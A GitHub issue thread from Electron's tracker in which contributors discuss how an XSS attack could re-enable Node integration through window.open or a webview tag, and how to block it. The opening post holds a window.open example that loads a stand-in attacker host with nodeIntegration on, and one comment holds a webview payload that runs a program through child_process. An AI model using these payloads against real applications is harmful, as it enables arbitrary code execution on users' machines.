Prohibit `nodeIntegration` from being re-enabled with `window.open` #4026

Closed
wearhere opened this Issue Jan 8, 2016 · 9 comments

Comments

Projects
None yet
9 participants
@wearhere
Contributor

wearhere commented Jan 8, 2016

A developer might disable Node integration in a browser window to limit the damage that an XSS attack could cause. But if an XSS attack could open a window to its own endpoint and, when opening the window, re-enable Node integration, this is moot:

// JavaScript on 'evil.com' will be able to `require('fs')` etc.
window.open('http://evil.com', '', 'nodeIntegration=1');
@wearhere

This comment has been minimized.

Show comment
Hide comment
@wearhere

wearhere Jan 8, 2016

Contributor

Related: #3943.

I think that @paulcbetts suggested this here and @zcbenz appeared to concur here.

Contributor

wearhere commented Jan 8, 2016

Related: #3943.

I think that @paulcbetts suggested this here and @zcbenz appeared to concur here.

@lukeapage

This comment has been minimized.

Show comment
Hide comment
@lukeapage

lukeapage Jan 8, 2016

Contributor

Imo window.open should inherit properties of the parent as well (like icon etc).

From a security perspective though, you might get a false sense of security. Electron doesn't have Chromes sandbox and there might be inadvertent ways into the node code even with node integration off. E. G. That icon I mentioned allows a remote page to get node to load a file from the file system.

Contributor

lukeapage commented Jan 8, 2016

Imo window.open should inherit properties of the parent as well (like icon etc).

From a security perspective though, you might get a false sense of security. Electron doesn't have Chromes sandbox and there might be inadvertent ways into the node code even with node integration off. E. G. That icon I mentioned allows a remote page to get node to load a file from the file system.

@wearhere

This comment has been minimized.

Show comment
Hide comment
@wearhere

wearhere Jan 8, 2016

Contributor

That's a good point @lukeapage. But I don't think that a false sense of security is a reason to not make improvements to security where possible.

In this case I think we could even close the hole you mention. What about, if Node integration is off in the parent, having certain features—not just nodeIntegration, but also icon and perhaps other BrowserWindow options—be ignored in calls to window.open? (And have the new window just inherit those options from the parent.)

Contributor

wearhere commented Jan 8, 2016

That's a good point @lukeapage. But I don't think that a false sense of security is a reason to not make improvements to security where possible.

In this case I think we could even close the hole you mention. What about, if Node integration is off in the parent, having certain features—not just nodeIntegration, but also icon and perhaps other BrowserWindow options—be ignored in calls to window.open? (And have the new window just inherit those options from the parent.)

@zcbenz zcbenz added the bug label Jan 8, 2016

@lukeapage

This comment has been minimized.

Show comment
Hide comment
@lukeapage

lukeapage Jan 8, 2016

Contributor

No its not a reason not to do it, I agree and it would help with compatibility. It should effect web views too. If its to disable other window features as you suggest, I think that should be a new option - many disable node integration for compatibility but still want accesss to the window.open functionality..

Contributor

lukeapage commented Jan 8, 2016

No its not a reason not to do it, I agree and it would help with compatibility. It should effect web views too. If its to disable other window features as you suggest, I think that should be a new option - many disable node integration for compatibility but still want accesss to the window.open functionality..

@hasegawayosuke

This comment has been minimized.

Show comment
Hide comment
@hasegawayosuke

hasegawayosuke Jan 15, 2016

webview tag can also be re-enabled node-integration.
<webview nodeintegration src="data:text/html,<script>require('child_process').exec('calc.exe',function(){})</script>"></webview>

webview tag can also be re-enabled node-integration.
<webview nodeintegration src="data:text/html,<script>require('child_process').exec('calc.exe',function(){})</script>"></webview>

@denistsoi

This comment has been minimized.

Show comment
Hide comment
@denistsoi

denistsoi Jan 26, 2016

@wearhere @zcbenz
Was looking under ElectronDevTools (in Chromium Dev Tools).

Regardless of nodeIntegration=0 in the BrowserWindow, you can still access native node modules via
Chrome Dev Tools.

Was trying to find a way to null window.open (but discovered override.js exports window.open to BrowserWindowProxy).

I haven't figured out how to gain access to fs.js yet - within terminal - but somehow i feel it's entirely feasible if I'm able to access this in Chrome Dev Tools.

TLDR;
Question: Should I be able to access this in Chrome Dev Tools?

screen shot 2016-01-26 at 4 01 44 pm

@wearhere @zcbenz
Was looking under ElectronDevTools (in Chromium Dev Tools).

Regardless of nodeIntegration=0 in the BrowserWindow, you can still access native node modules via
Chrome Dev Tools.

Was trying to find a way to null window.open (but discovered override.js exports window.open to BrowserWindowProxy).

I haven't figured out how to gain access to fs.js yet - within terminal - but somehow i feel it's entirely feasible if I'm able to access this in Chrome Dev Tools.

TLDR;
Question: Should I be able to access this in Chrome Dev Tools?

screen shot 2016-01-26 at 4 01 44 pm

@paulcbetts

This comment has been minimized.

Show comment
Hide comment
@paulcbetts

paulcbetts Feb 5, 2016

Contributor

Chrome DevTools has Magic Powers Of V8 Inspection that the normal DOM doesn't have - access via DevTools is probably okay, as long as you can't find an exit that isn't via normal JS

Contributor

paulcbetts commented Feb 5, 2016

Chrome DevTools has Magic Powers Of V8 Inspection that the normal DOM doesn't have - access via DevTools is probably okay, as long as you can't find an exit that isn't via normal JS

@mediaslav

This comment has been minimized.

Show comment
Hide comment
@mediaslav

mediaslav Mar 1, 2016

here's my quick hack to fix that

  var _wopen = window.open;
  window.open = function (a, b, c) {
    console.debug('window.open proxy call:', arguments);
    c = c || '';
    var ca = c.split(',');
    ca.push('nodeIntegration=0');
    c = ca.join(',');
    var win = _wopen.call(window, a, b, c);
    return win;
  };

here's my quick hack to fix that

  var _wopen = window.open;
  window.open = function (a, b, c) {
    console.debug('window.open proxy call:', arguments);
    c = c || '';
    var ca = c.split(',');
    ca.push('nodeIntegration=0');
    c = ca.join(',');
    var win = _wopen.call(window, a, b, c);
    return win;
  };
@wearhere

This comment has been minimized.

Show comment
Hide comment
@wearhere

wearhere Mar 1, 2016

Contributor

@mediaslav if XSS is a possibility—if a malicious script could call window.open at all—then it could also undo that patch.

Contributor

wearhere commented Mar 1, 2016

@mediaslav if XSS is a possibility—if a malicious script could call window.open at all—then it could also undo that patch.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment